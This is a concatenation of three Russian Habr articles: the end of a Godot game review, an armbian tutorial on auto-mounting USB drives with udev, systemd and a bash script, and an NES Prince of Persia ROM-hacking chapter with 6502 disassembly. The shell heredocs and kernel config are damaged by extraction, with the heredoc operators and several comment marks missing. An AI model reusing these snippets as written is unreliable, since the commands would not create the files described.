Теперь по поводу багов. Да они есть. Например у меня функция randi возвращала одно и тоже число, в то время как randf работала исправно. И еще пару раз в процессе работы у меня возникало ощущение в некорректной работе движка. Однако движок стремительно дорабатывается, ну и, на крайний случай, он опенсурсный.
Также обладает неплохой, пока еще скудной, но постоянно расширяющейся документацией.
Вот вкратце и все, а теперь давайте немного познакомимся с игрой, которая разрабатывается на этом движке.
### Сюжет
Игра из себя представляет олдскульную адвенчуру и основана на визуальных новеллах (читай комиксах) португальского происхождения. Сюжет повествует о легендарном детективе оккультисте Мендозе по прозвищу Дог и разносчике пиццы, волею судеб оказавшегося вовлеченным в расследование паранормальных явлений.
*Вот, собственно, чем и занимаются Дог Мендоза и разносчик пиццы в одноименных комиксах*
### Сеттинг
На протяжении веков Лиссабон был сценой столкновения великих сил, мощной столицей и стратегической точкой, отделяющей Старый Свет от огромного океана, открывающего путь в Новый Свет. Сегодня мало что изменилось. Обыкновенный на первый взгляд город скрывает под собой, подобно айсбергу, огромную паутину тайн. Для сверхъестественных существ этой планеты Лиссабон является новой Касабланкой — территорией никому не принадлежащей, где развернулась политика скрытого мир, а простые обыватели тщетно пытаются устроить свою жизнь посреди участников конфликта. Это место — убежище для орд вампиров, гоблинов и других подобных существ, но, как и подобает подобному месту, оно постоянно попадает под влияние интересов различных политических веяний, тайных обществ и организованной преступности. В Лиссабоне, у каждой тени есть глаза, и каждые глаза — свидетели новых тайн.
### Персонажи
**Жоао Висенте «Дог» Мендоза**
Многое можно сказать о Доге. На первый взгляд он выглядит, да и ведет себя, как ленивый, нечистый на руку, немного сумасшедший шарлатан. Но стоит побыть в его компании подольше и вы узнаете в нем свирепого воина, закаленного в бесчисленных боях, с суровым нравом и в чем-то благородной душой. Многое в нем для нас все ещё окутано тайной, но то, что всплывает на поверхность, заставляет проникнуться уважением. Ко всему прочему он оборотень полностью контролирующий свое проклятье, которое он использует, как связь между миром людей и миром монстров. Его боевой опыт и знание тайного мира Лиссабона делает его именно тем человеком к кому стоит податься, если у вас возникли проблемы с неведомыми силами.
**Эурико aka Разносчик Пиццы**
Эурико — обычный, ничем не выдающийся, молодой человек. Он не особо умен, и, если уж говорить на чистоту, то и внешность он имеет не то, чтобы очень приятную или очень отталкивающую. Непримечательный во всех смыслах, его посвящение в тайны мира оккультизма произошло по чистой случайности, так что он явно не принадлежит этому миру. Фактически он — это вы. Это связь между игроком и новым для него миром.
**Пазуул**
Пазуул — это шести тысячелетний древний демон заточенный в теле маленькой девочки. Не самый удачный выбор. Он давний партнер Дога и в хорошем настроении берет на себя роль его персонального ассистента. Будучи вспыльчивым и немногословным, его действия говорят сами за себя.
**Горгулья**
Горгулья он… он просто есть. Точнее есть его голова, потому что Дог решил, что будет забавно отделить ее от тела. Не волнуйтесь, тело в конечном счете отрастет. Он, что называется, местный хохмач, хотя Дог особо не обращает не него внимание. Он гораздо более способный и ловкий, чем стремиться показать. Иногда.
### Заключение
Поиграв в демо-версию могу сказать, что выглядит все очень приятно глазу. Чувство юмора в игре есть. Загадки не тривиальные, но и не слишком сложные. Саундтрек крайне хорошо подобран. Правда такой игре явно не хватает озвучки диалогов, но один из стретч-голов как раз английский дубляж.
В целом игра и тем более движок на котором она разрабатывается более чем заслуживают внимания.
Желаю авторам удачи!
PS: Огромное спасибо [P0figist](https://habr.com/ru/users/p0figist/) за стилистические правки и еще одному человеку, пожелавшему остаться неизвестным, за правки в переводе.
PPS: По движку Godot на Хабре уже было две интересные статьи от товарища [Zenogears](https://habr.com/ru/users/zenogears/): [Часть первая](http://habrahabr.ru/post/212583/); [Часть вторая](http://habrahabr.ru/post/212837/);
PPPS: Заглавную картинку, ту, что справа, я смастерил сам, с помощью скриншота из игры и самого движка Godot. Она не отражает реальный процесс разработки описываемой игры, а сделана для того, чтобы показать как внешне выглядит инструментарий движка. | https://habr.com/ru/post/362275/ | null | ru | null |
# Автомонтирование флешек в armbian
Имеем сборку [armbian](https://github.com/armbian/build) для сервера, то есть без какой-либо графической оболочки. Или же такую же сборку от [Xunlong](https://github.com/orangepi-xunlong/orangepi-build) (которая основана на том же armbian).
Пусть в наш компьютер пользователь периодически вставляет самые обычные флешки (с файловой системой FAT32). При вставке такой флешки никакого нового локального диска E не появляется. То есть автоматическое монтирование не происходит. Однако нашей программе на компьютере необходимо с этой флешкой работать. Как же её примонтировать?
Ручной вариант
--------------
Связан с использованием команды mount и описан [везде](https://snubmonkey.com/how-to-mount-usb-drive-in-a-linux-system/#gsc.tab=0). Однако я постараюсь привести довольно занятный пример использования этого метода. Предположим, что порт, куда пользователь может вставить флешку, только один. Это облегчает задачу, потому что появляется возможность красиво обойти постоянное переименование устройств. Да-да, в Linux ваша флешка будет то /dev/sda то /dev/sdb то ещё как-то. Так вот, если порт USB для флешки всегда один и тот же, то
1) Получаем уникальное имя устройства, привязанное к порту. Другими словами, получаем название флешки (HDD, ...), когда она воткнута. Для этого не вставляем флешку, делаем
`ls -l /dev/disk/by-path/`
Затем вставляем флешку и делаем ту же команду. В результате видим, что первый раз не было, а второй раз появилось имя. У меня второй раз было добавилось имя "platform-xhci-hcd.10.auto-usb-0:1:1.0-scsi-0:0:0:0".
Пробуем монтировать. Монтирование - это когда вы отображаете содержимое флешки в папку компьютера, то есть для программы (да и у пользователя), работающей с флешкой, будет ощущение, что они работают с папкой на компьютере. Заранее в домашнем каталоге (именуется ~) создадим папку-точку-монтирования, назовем её usb, то есть:
`cd ~ && mkdir usb`
2) Собственно монтируем:
`sudo mount /dev/disk/by-path/platform-xhci-hcd.10.auto-usb-0:1:1.0-scsi-0:0:0:0 ~/usb -t vfat`
3) Проверяем, заходим в папку:
`cd ~/usb`
4) Смотрим какие есть файлы в ней:
`ls`
Надеюсь вы заранее положили в вашу FAT32 флешку какие-нибудь файлы с русскоязычными названиями и русским текстом, чтобы уже на этом этапе проверить и убедиться, что вам не надо пересобирать ядро Linux для поддержки [vfat](https://wiki.archlinux.org/title/FAT_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)).
Для OrangePi 4B с ядром 4, см /external/config/kernel/linux-rk3399-legacy.config
```
#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=y
CONFIG_MSDOS_FS=y
CONFIG_VFAT_FS=y
CONFIG_FAT_DEFAULT_CODEPAGE=866
CONFIG_FAT_DEFAULT_IOCHARSET="utf8"
# CONFIG_NTFS_FS is not set
Pseudo filesystems
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE is not set
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_PROC_CHILDREN is not set
CONFIG_PROC_UID=y
CONFIG_KERNFS=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
CONFIG_TMPFS_XATTR=y
CONFIG_HUGETLBFS is not set
CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=y
CONFIG_MISC_FILESYSTEMS=y
CONFIG_ADFS_FS is not set
CONFIG_AFFS_FS is not set
CONFIG_ECRYPT_FS is not set
CONFIG_SDCARD_FS is not set
CONFIG_HFS_FS is not set
CONFIG_HFSPLUS_FS is not set
CONFIG_BEFS_FS is not set
CONFIG_BFS_FS is not set
CONFIG_EFS_FS is not set
CONFIG_LOGFS is not set
CONFIG_CRAMFS is not set
CONFIG_SQUASHFS=y
CONFIG_SQUASHFS_DECOMP_SINGLE=y
CONFIG_SQUASHFS_DECOMP_MULTI is not set
CONFIG_SQUASHFS_DECOMP_MULTI_PERCPU is not set
CONFIG_SQUASHFS_XATTR is not set
CONFIG_SQUASHFS_ZLIB=y
CONFIG_SQUASHFS_LZ4 is not set
CONFIG_SQUASHFS_LZO is not set
CONFIG_SQUASHFS_XZ is not set
CONFIG_SQUASHFS_ZSTD is not set
CONFIG_SQUASHFS_4K_DEVBLK_SIZE is not set
CONFIG_SQUASHFS_EMBEDDED is not set
CONFIG_SQUASHFS_FRAGMENT_CACHE_SIZE=3
CONFIG_VXFS_FS is not set
CONFIG_MINIX_FS is not set
CONFIG_OMFS_FS is not set
CONFIG_HPFS_FS is not set
CONFIG_QNX4FS_FS is not set
CONFIG_QNX6FS_FS is not set
CONFIG_ROMFS_FS is not set
CONFIG_PSTORE=y
CONFIG_PSTORE_CONSOLE=y
CONFIG_PSTORE_PMSG is not set
CONFIG_PSTORE_FTRACE is not set
CONFIG_PSTORE_RAM=y
CONFIG_SYSV_FS is not set
CONFIG_UFS_FS is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=y
CONFIG_NFS_V2=y
CONFIG_NFS_V3=y
CONFIG_NFS_V3_ACL=y
CONFIG_NFS_V4=y
CONFIG_NFS_SWAP=y
CONFIG_NFS_V4_1 is not set
CONFIG_NFS_USE_LEGACY_DNS is not set
CONFIG_NFS_USE_KERNEL_DNS=y
CONFIG_NFSD is not set
CONFIG_GRACE_PERIOD=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_NFS_ACL_SUPPORT=y
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=y
CONFIG_SUNRPC_GSS=y
CONFIG_SUNRPC_SWAP=y
CONFIG_SUNRPC_DEBUG is not set
CONFIG_CEPH_FS is not set
CONFIG_CIFS is not set
CONFIG_NCP_FS is not set
CONFIG_CODA_FS is not set
CONFIG_AFS_FS is not set
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="utf8"
CONFIG_NLS_CODEPAGE_437=n
CONFIG_NLS_CODEPAGE_737 is not set
CONFIG_NLS_CODEPAGE_775 is not set
CONFIG_NLS_CODEPAGE_850 is not set
CONFIG_NLS_CODEPAGE_852 is not set
CONFIG_NLS_CODEPAGE_855 is not set
CONFIG_NLS_CODEPAGE_857 is not set
CONFIG_NLS_CODEPAGE_860 is not set
CONFIG_NLS_CODEPAGE_861 is not set
CONFIG_NLS_CODEPAGE_862 is not set
CONFIG_NLS_CODEPAGE_863 is not set
CONFIG_NLS_CODEPAGE_864 is not set
CONFIG_NLS_CODEPAGE_865 is not set
CONFIG_NLS_CODEPAGE_866=y
CONFIG_NLS_CODEPAGE_869 is not set
CONFIG_NLS_CODEPAGE_936=n
CONFIG_NLS_CODEPAGE_950 is not set
CONFIG_NLS_CODEPAGE_932 is not set
CONFIG_NLS_CODEPAGE_949 is not set
CONFIG_NLS_CODEPAGE_874 is not set
CONFIG_NLS_ISO8859_8 is not set
CONFIG_NLS_CODEPAGE_1250 is not set
CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ASCII=y
CONFIG_NLS_ISO8859_1=n
CONFIG_NLS_ISO8859_2 is not set
CONFIG_NLS_ISO8859_3 is not set
CONFIG_NLS_ISO8859_4 is not set
CONFIG_NLS_ISO8859_5 is not set
CONFIG_NLS_ISO8859_6 is not set
CONFIG_NLS_ISO8859_7 is not set
CONFIG_NLS_ISO8859_9 is not set
CONFIG_NLS_ISO8859_13 is not set
CONFIG_NLS_ISO8859_14 is not set
CONFIG_NLS_ISO8859_15 is not set
CONFIG_NLS_KOI8_R is not set
CONFIG_NLS_KOI8_U is not set
CONFIG_NLS_MAC_ROMAN is not set
CONFIG_NLS_MAC_CELTIC is not set
CONFIG_NLS_MAC_CENTEURO is not set
CONFIG_NLS_MAC_CROATIAN is not set
CONFIG_NLS_MAC_CYRILLIC is not set
CONFIG_NLS_MAC_GAELIC is not set
CONFIG_NLS_MAC_GREEK is not set
CONFIG_NLS_MAC_ICELAND is not set
CONFIG_NLS_MAC_INUIT is not set
CONFIG_NLS_MAC_ROMANIAN is not set
CONFIG_NLS_MAC_TURKISH is not set
CONFIG_NLS_UTF8=y
CONFIG_DLM is not set
CONFIG_VIRTUALIZATION is not set
```
Автоматическое монтирование
---------------------------
Выше было описано ручное монтирование, теперь автоматизируем монтирование. Готовые решения уже [существуют](https://github.com/Ferk/udev-media-automount) (кто знает ещё - пишите в коменты), но мы потренируемся изобретать свой велосипед и узнаем как это работает. Знание как это работает позволит нам кастомизировать монтирование. Например, сделать так, чтобы монтирование всегда проходило в одну и ту же папку (предполагается, что есть только 1 порт, куда пользователь может вставить флешку) или наоборот, сделать так, чтобы папка содержала LABEL монтируемой флешки, а если LABEL отсутствует, то имя точки монтирования было бы каким-то определенным. Теперь, когда я оправдал изобретение велосипеда, приступим.
Мы будем использовать правила udev в составе монстра systemd. Итак, создадим свой файл-правило 99-local.rules (имя правила - какое мне в голову пришло, но ~~расширение~~ суффикс обязательно .rules) по пути /etc/udev/rules.d/ и наполним его содержимым:
```
cat < /etc/udev/rules.d/99-local.rules
KERNEL=="sd\*[!0-9]|sr\*", SUBSYSTEMS=="usb", ACTION=="add", RUN+="/bin/systemctl start usb-mount@%k.service"
KERNEL=="sd\*[!0-9]|sr\*", SUBSYSTEMS=="usb", ACTION=="remove", RUN+="/bin/systemctl stop usb-mount@%k.service"
EOF
```
Теперь создадим так называемый systemd unit. Символ Собака позволит передавать имя флешки как аргумент.
```
cat < /etc/systemd/system/usb-mount@.service
[Unit]
Description=Mount USB Drive on %i
[Service]
Type=oneshot
RemainAfterExit=true
ExecStart=/usr/local/bin/usb-mount.sh add %i
ExecStop=/usr/local/bin/usb-mount.sh remove %i
EOF
```
Итак, подготовительный этап пройден. Теперь при подключении и отключении флешки будет вызываться скрипт usb-mount.sh Давайте его реализуем. Для того, чтобы печатать в файл через команду cat символ $ я буду экранировать обратным слешем \, чтобы во время печати скрипта в файл вместо текста не происходила подстановка.
```
cat < /usr/local/bin/usb-mount.sh
#!/bin/bash
# This script is called from our systemd unit file to mount or unmount
# a USB drive.
usage()
{
echo "Usage: \$0 {add|remove} device\_name (e.g. sdb1)"
exit 1
}
if [[ \$# -ne 2 ]]; then
usage
fi
ACTION=\$1
DEVBASE=\$2
DEVICE="/dev/\${DEVBASE}"
# See if this drive is already mounted, and if so where
MOUNT\_POINT=\$(/bin/mount | /bin/grep \${DEVICE} | /usr/bin/awk '{ print \$3 }')
do\_mount()
{
if [[ -n \${MOUNT\_POINT} ]]; then
echo "Warning: \${DEVICE} is already mounted at \${MOUNT\_POINT}"
exit 1
fi
# Get info for this drive: \$ID\_FS\_LABEL, \$ID\_FS\_UUID, and \$ID\_FS\_TYPE
eval \$(/sbin/blkid -o udev \${DEVICE})
# Figure out a mount point to use
LABEL=\${ID\_FS\_LABEL}
if [[ -z "\${LABEL}" ]]; then
LABEL=\${DEVBASE}
elif /bin/grep -q " /media/\${LABEL} " /etc/mtab; then
# Already in use, make a unique one
LABEL+="-\${DEVBASE}"
fi
MOUNT\_POINT="/media/\${LABEL}"
echo "Mount point: \${MOUNT\_POINT}"
/bin/mkdir -p \${MOUNT\_POINT}
# Global mount options
OPTS="rw,relatime"
# File system type specific mount options
if [[ \${ID\_FS\_TYPE} == "vfat" ]]; then
OPTS+=",users,gid=100,umask=000,shortname=mixed,utf8=1,flush"
fi
if ! /bin/mount -o \${OPTS} \${DEVICE} \${MOUNT\_POINT}; then
echo "Error mounting \${DEVICE} (status = \$?)"
/bin/rmdir \${MOUNT\_POINT}
exit 1
fi
echo "\*\*\*\* Mounted \${DEVICE} at \${MOUNT\_POINT} \*\*\*\*"
}
do\_unmount()
{
if [[ -z \${MOUNT\_POINT} ]]; then
echo "Warning: \${DEVICE} is not mounted"
else
/bin/umount -l \${DEVICE}
echo "\*\*\*\* Unmounted \${DEVICE}"
fi
# Delete all empty dirs in /media that aren't being used as mount
# points. This is kind of overkill, but if the drive was unmounted
# prior to removal we no longer know its mount point, and we don't
# want to leave it orphaned...
for f in /media/\* ; do
if [[ -n \$(/usr/bin/find "\$f" -maxdepth 0 -type d -empty) ]]; then
if ! /bin/grep -q " \$f " /etc/mtab; then
echo "\*\*\*\* Removing mount point \$f"
/bin/rmdir "\$f"
fi
fi
done
}
case "\${ACTION}" in
add)
do\_mount
;;
remove)
do\_unmount
;;
\*)
usage
;;
esac
EOF
```
Собственно в этом скрипте можно заняться недюжей кастомизацией. Например, если известно, что пользователь может вставить только одну флешку, то мы можем монтировать эту одну флешку всегда в папку /media/usb слегка изменив скрипт
Скрипт usb-mount.sh с точкой монтирования всегда /media/usb
```
cat < /usr/local/bin/usb-mount.sh
#!/bin/bash
# This script is called from our systemd unit file to mount or unmount
# a USB drive.
usage()
{
echo "Usage: \$0 {add|remove} device\_name (e.g. sdb1)"
exit 1
}
if [[ \$# -ne 2 ]]; then
usage
fi
ACTION=\$1
DEVBASE=\$2
DEVICE="/dev/\${DEVBASE}"
# See if this drive is already mounted, and if so where
MOUNT\_POINT=\$(/bin/mount | /bin/grep \${DEVICE} | /usr/bin/awk '{ print \$3 }')
do\_mount()
{
if [[ -n \${MOUNT\_POINT} ]]; then
echo "Warning: \${DEVICE} is already mounted at \${MOUNT\_POINT}"
exit 1
fi
# Get info for this drive: \$ID\_FS\_LABEL, \$ID\_FS\_UUID, and \$ID\_FS\_TYPE
eval \$(/sbin/blkid -o udev \${DEVICE})
# Figure out a mount point to use
LABEL="usb"
if [[ -z "\${LABEL}" ]]; then
LABEL=\${DEVBASE}
elif /bin/grep -q " /media/\${LABEL} " /etc/mtab; then
# Already in use, make a unique one
LABEL+="-\${DEVBASE}"
fi
MOUNT\_POINT="/media/\${LABEL}"
echo "Mount point: \${MOUNT\_POINT}"
/bin/mkdir -p \${MOUNT\_POINT}
# Global mount options
OPTS="rw,relatime"
# File system type specific mount options
if [[ \${ID\_FS\_TYPE} == "vfat" ]]; then
OPTS+=",users,gid=100,umask=000,shortname=mixed,utf8=1,flush"
fi
if ! /bin/mount -o \${OPTS} \${DEVICE} \${MOUNT\_POINT}; then
echo "Error mounting \${DEVICE} (status = \$?)"
/bin/rmdir \${MOUNT\_POINT}
exit 1
fi
echo "\*\*\*\* Mounted \${DEVICE} at \${MOUNT\_POINT} \*\*\*\*"
}
do\_unmount()
{
if [[ -z \${MOUNT\_POINT} ]]; then
echo "Warning: \${DEVICE} is not mounted"
else
/bin/umount -l \${DEVICE}
echo "\*\*\*\* Unmounted \${DEVICE}"
fi
# Delete all empty dirs in /media that aren't being used as mount
# points. This is kind of overkill, but if the drive was unmounted
# prior to removal we no longer know its mount point, and we don't
# want to leave it orphaned...
for f in /media/\* ; do
if [[ -n \$(/usr/bin/find "\$f" -maxdepth 0 -type d -empty) ]]; then
if ! /bin/grep -q " \$f " /etc/mtab; then
echo "\*\*\*\* Removing mount point \$f"
/bin/rmdir "\$f"
fi
fi
done
}
case "\${ACTION}" in
add)
do\_mount
;;
remove)
do\_unmount
;;
\*)
usage
;;
esac
EOF
```
После того, как скрипт создан, необходимо дать права этому скрипту на выполнение:
```
chmod +x /usr/local/bin/usb-mount.sh #chmod 777 /usr/local/bin/usb-mount.sh
```
Для тестирование необходимо или перезагрузить компьютер или же перезагрузить и udev и systemd
`udevadm control --reload-rules && systemctl daemon-reload`
Описанные выше 4 шага могут быть осуществлены при сборке armbian. Для этого эти шаги необходимо вставить в файл userpatches/customize-image.sh [Пример](https://gist.github.com/AndreiCherniaev/18cd6fa4c769c527bb5e177467226091).
При возникновении неполадок можно изучить отладочный вывод
`sudo udevadm control --log-priority=debug && journalctl -f`
Было бы занятно попробовать сделать то же самое автоматическое монтирование без монстра systemd, через eudev, если уважаемый читатель попробует, напишите в коментах. | https://habr.com/ru/post/673134/ | null | ru | null |
# [NES] Пишем редактор уровней для Prince of Persia. Глава четвертая. Он сам бежит! Или скелет в шкафу
[Глава первая](http://habrahabr.ru/post/187876/), [Глава вторая](http://habrahabr.ru/post/191880/), [Глава третья](http://habrahabr.ru/post/192028/), **Глава четвертая**, [Глава пятая](http://habrahabr.ru/post/192832/), [Эпилог](http://habrahabr.ru/post/193406/)
##### Disclaimer
Если мы редактируем игру, то мы должны привести все ее детали в соответствие. Было бы глупо свою версию игры показывать миру, если в ней вылезают осколки оригинальной версии, вступая в противоречие с новым, вложенным в нее нами смыслом. Редактирование уровней игры не позволяет поменять некоторые повороты сюжета, которые вложили разработчики изначально.
С небольшой задержкой мы будем исправлять и сюжет.
##### Что будем редактировать?
Прежде, чем двигаться дальше, хотелось бы себя ограничить в перекройке игры. Действительно, если мы захотим менять все и вся, то проще будет просто написать свою игру с самого начала. Но как и задумывалось изначально, хочется все же сделать что-то новое, сохранив, однако прежнюю базу. Определимся с тем, что мы будем редактировать.
* Цвета. NES версия отличается от остальных тем, что все уровни в ней имеют скучные однотипные цвета. Меняются лишь цвета стражей порядка;
* Demo play. Как только мы поменяем хотя бы кирпичик в первой комнате, наш герой в demo play будет как слепой кролик долбиться в стены или пытаться залезть на отсутствующие уступы;
* «Зеркальное отражение». Оно появляется только при выполнении определенных условий и в строго определенных комнатах строго определенных уровней. Если мы что-то перестроим, то оно либо появится не к месту, либо не появится вовсе, исказив сюжет игры;
* … Мышка в восьмом уровне :-). Она бежит по просьбе принцессы нас спасать, когда мы оказываемся в заточении, открывая нам решетку.
* Виды супостатов. В третьем и двенадцатом (в оригинале в двенадцатом уровне «отражение», но разработчики NES немного сэкономили) уровнях нас встречает скелет;
* Переходы.
+ Первый уровень. По сюжету героя бросают в подземелье и закрывают за ним решетку. Таким образом, в первом уровне он появляется и вслед за этим тут же закрывается путь отступления;
+ Шестой уровень. Герой прыгает через пропасть, но коварное «отражение» закрывает решетку и он срывается в пропасть — в подземелье. Налицо нестандартный переход в следующий уровень;
+ Седьмой уровень. Раз он падает вниз в шестом уровне, то он должен появиться сверху в седьмом уровне. Нестандартный вход в уровень;
+ Двенадцатый и тринадцатый уровни. Здесь разработчики решили разделить один длинный на два уровня покороче. Мы переходим из комнаты в комнату, а попадаем в следующий уровень;
+ Четырнадцатый уровень просто не имеет перехода на следующий уровень
Текст, музыку, виды и конфигурацию блоков я решил оставить в оригинальном виде, чтобы сохранился дух игры. Это можно поменять также просто, как и все остальное, так как все объекты завязаны на массивы указателей на довольно простые данные.
Мышку, к слову, я оставил на своем месте.
##### Код
Динамические элементы игры не так просто менять простым перебором, как это мы делали ранее. Соответственно, пора активно изучать код. С некоторыми его элементами мы познакомились. Теперь, посмотрим что происходит во время игры.
Нажимая кнопку «Step over» в отладчике мы неизбежно перейдем к главному циклу, где основная его составляющая выглядит так:
```
label_CC1A:
$CC1A:20 F7 F2 JSR $F2F7
$CC1D:20 10 D0 JSR $D010
$CC20:20 1E 86 JSR $861E
$CC23:20 00 CB JSR $CB00
$CC26:20 E8 A4 JSR $A4E8
$CC29:20 10 D0 JSR $D010
$CC2C:20 04 8B JSR $8B04
$CC2F:20 10 D0 JSR $D010
$CC32:20 F9 80 JSR $80F9
$CC35:20 FC D8 JSR $D8FC
$CC38:20 DF BA JSR $BADF
$CC3B:20 00 CB JSR $CB00
$CC3E:20 12 9F JSR $9F12
$CC41:20 DD A3 JSR $A3DD
$CC44:4C 1A CC JMP $CC1A
```
Выше этого цикла также вызов множества процедур, которые вызываются при переходе между комнатами или уровнями. Перечисленные в приведенном коде процедуры изменяют состояние игры, а также выполняют различного рода проверки. Из них не представляют интереса следующие:
— $F2F7 — ожидание изменения некоего состояния в прерывании VBlank;
— $D010, $CB00 — переключение банков перед вызовом процедур, которые располагаются в соответствующем банке.
Я не буду приводить код всех оставшихся процедур, так как их рассмотрение со всеми ветвлениями выльется еще в десяток постов. Приведу лишь ту, что представляет интерес сейчас. В псевдокод я переводить не буду, но дам комментарии.
###### A4E8. Он сам бежит!
Перед вызовом этой процедуры вызывается процедура включения банка #02 — $D010. Включаем этот банк путем записи числа #02 в ячейку $FFF2 и переходим к этой процедуре:
```
$A4E8:AD E4 04 LDA $04E4 = #$01
$A4EB:D0 13 BNE $A500 ;; проверяем состояние флага $04E4.
;; Если не 0, то выполняем основное тело процедуры
$A4ED:60 RTS ;; ...или выходим
$A4EE:4C FF A4 JMP $A4FF
$A4F1:A9 00 LDA #$00
$A4F3:8D E3 04 STA $04E3 = #$44
$A4F6:8D E0 04 STA $04E0 = #$76
$A4F9:8D E4 06 STA $06E4 = #$0A
$A4FC:4C 14 DC JMP $DC14 ;; обнуляем вообще все и уходим в главный цикл
;; видимо, игра здесь будет начинаться заново с какой-то отправной точки.
$A4FF:60 RTS ;; не буду приводить здесь код $DC14.
;; в нем очистка стека и переход на адрес чуть ранее основного цикла
label_A500:
$A500:AD 0A 04 LDA $040A = #$01
$A503:29 30 AND #$30
$A505:D0 EA BNE $A4F1 ;; если в некой переменной установлены определенные флаги,
;; то возвращаем игру в некую начальную точку
$A507:AE E3 04 LDX $04E3 = #$44 ;; в индексный регистр помещаем значение из ячейки $04E3
$A50A:BD 0F A7 LDA $A70F,X @ $A763 = #$AA ;; и читаем из ROM-файла значение, соответствующее индексу в ячейке $04E3
$A50D:C9 FF CMP #$FF
$A50F:F0 E0 BEQ $A4F1 ;; если прочитанное значение соответствует маркеру #FF,
;; то снова отправляем игру в начальную точку
$A511:CD E0 04 CMP $04E0 = #$76 ;; то же прочитанное значением сравниваем с ячейкой $04E0
$A514:D0 0E BNE $A524 ;; если не равно, то... (см. ниже)
$A516:A9 00 LDA #$00 ;; иначе обнуляем ряд ячеек...
$A518:8D F4 04 STA $04F4 = #$00
$A51B:8D E0 04 STA $04E0 = #$76
$A51E:EE E3 04 INC $04E3 = #$44 ;; а к нашему индексу прибавляем 2 (двойным инкрементом)
$A521:EE E3 04 INC $04E3 = #$44
label_A524:
$A524:BD 10 A7 LDA $A710,X @ $A764 = #$01
$A527:8D 0A 04 STA $040A = #$01 ;; переносим значение соседней ячейки в ROM-файле в $040A
$A52A:EE E0 04 INC $04E0 = #$76 ;; увеличиваем некий счетчик
$A52D:60 RTS ;; выходим
```
Итак, здесь мы имеем пару ячеек с некоторыми состояниями, еще ячейку с индексом и некий массив в ROM-файле. Из кода видно, что он выполняется только в том случае, если установлен флаг в ячейке $04E4. Попробуем его поставить.
Запускаем игру заново, входим в первый уровень и ставим в $04E4 единицу.
Проходит секунда и… он бежит сам! Даже на кнопки нажимать не нужно.
Если мы дождемся Demo play, то обнаружим, что в ячейке $04E4 уже стоит единица, причем, если мы обнулим эту ячейку во время demo, надпись demo play пропадет и управление перейдет в наши руки. Очень удобно: demo проходит за нас основную часть, дальше мы можем обнулить $04E4 и продолжить игру самостоятельно.
Теперь мы можем, опираясь на игру, разобрать код. Очевидно, процедура $DC14 отправляет нас в меню игры. Массив же $A70F хранит некие структуры по два байта, и заканчивается маркером #FF. Причем первый байт — некий временной интервал, при завершении которого индекс увеличивается, и в ячейку $040A переносится второй байт из следующей структуры. Что он означает?
Взглянем на массив:
`64 00 . A0 01 . 28 00 . E6 84 . E6 02 ... FF`
Сперва мы ожидаем #64 у.в.е. (условных временных единиц), затем #A0 у.в.е, затем #28 и так далее до маркера #FF. Поменяем время в первой паре байт на #FE и в demo play обнаружим, что персонаж стоит как истукан после начала продолжительное время. Если мы туда поставим #02, то он повернется налево и будет некоторое время долбиться в стену. Следовательно, второй байт описывает действие, которое он будет выполнять в течение указанного интервала времени. Поскольку игра детерминирована, то нам достаточно жестко задать последовательность определенных действий, и она будет «играться» сама.
По сути, второй байт — это имитация нажатия кнопок на геймпаде, где первый бит кодирует кнопку вправо, второй бит — кнопку влево и так далее. Совокупность этих бит определяет псевдосостояние геймпада во время demo-play. Редактируя этот массив, мы можем подогнать demo play под наш новый уровень.
Если мы будем отслеживать, что происходит потом со значением в ячейке $040A, то мы придем к структуре данных, которая располагается по адресу $060E. Описывается она следующим образом:
```
struct CHARACTER
{
char bCharType;
unsigned short X;
unsigned short Y;
unsigned short ptrAction;
char bDirection;
char bActionIndex;
char bPoseIndex;
char bReserved[4];
};
```
Дойдя до этой структуры мы узнаем, что существует массив «действий», состоящий из указателей на определенные структуры, которые потом разворачиваются в последовательность отображений спрайта на экране. Под «действием» подразумевается то, что выполняет персонаж на экране: бежит, прыгает, приседает и прочие действия. Аналогично все с индексом «позы»: стоит он или сидит — определяется этим членом структуры. Эта структура нам понадобится в будущем, а пока нам нужно выяснить, как мы попадаем из уровня в уровень.
###### Бегаем по лабиринтам
Здесь, как и ранее у нас будет отправная точка — ячейка $70. При переходе из уровня в уровень мы увидим код (как и раньше, мы ловим по точке останова по условию записи в ячейку $70):
```
$86F3:AD 35 07 LDA $0735 = #$00
$86F6:D0 0D BNE $8705
$86F8:A5 70 LDA $0070 = #$00
$86FA:18 CLC
$86FB:69 01 ADC #$01
$86FD:C9 0E CMP #$0E
$86FF:90 02 BCC $8703
$8701:A9 00 LDA #$00
$8703:85 70 STA $0070 = #$00 ;; <<< останов
$8705:A9 00 LDA #$00
$8707:8D 01 20 STA $2001 = #$18
$870A:85 15 STA $0015 = #$18
$870C:4C 1D CB JMP $CB1D
```
Тут мы видим, что к ячейке $70 прибавляется единица и дальше мы перемещаемся куда-то в последний банк. Причем, есть и проверка: если число больше 13, то обнуляем это значение. Это значит, что если мы поставим в 14 уровне выход, то мы переместимся обратно в первый. Это инициирующая процедура перехода на следующий уровень. Дальше нам покажут пароль и мы окажемся в следующем уровне. Посмотрим, откуда она вызывается.
###### Хардкод
Как и в архитектуре x86, так и здесь, вызов процедуры происходит путем занесения в регистр Instruction Pointer аргумента инструкции JSR и помещения в стек адреса возврата. В стеке у нас следующее:
`22, CC, ...`
Следовательно, вызвала нас инструкция, находящаяся перед инструкцией по адресу $CC22:
```
$CC20:20 1E 86 JSR $861E
```
Она громоздкая и всю ее трассировать неинтересно. Переключим точку останова с записи в $70 на чтение и запустим отладку. Сперва мы остановимся в знакомой нам процедуре $C0D5 — она нам неинтересна, а вот следующий останов приведет нас сюда:
```
$D0B8:A5 70 LDA $0070 = #$0B
$D0BA:C9 0B CMP #$0B
$D0BC:D0 0C BNE $D0CA
$D0BE:A5 51 LDA $0051 = #$16
$D0C0:C9 16 CMP #$16
$D0C2:D0 06 BNE $D0CA
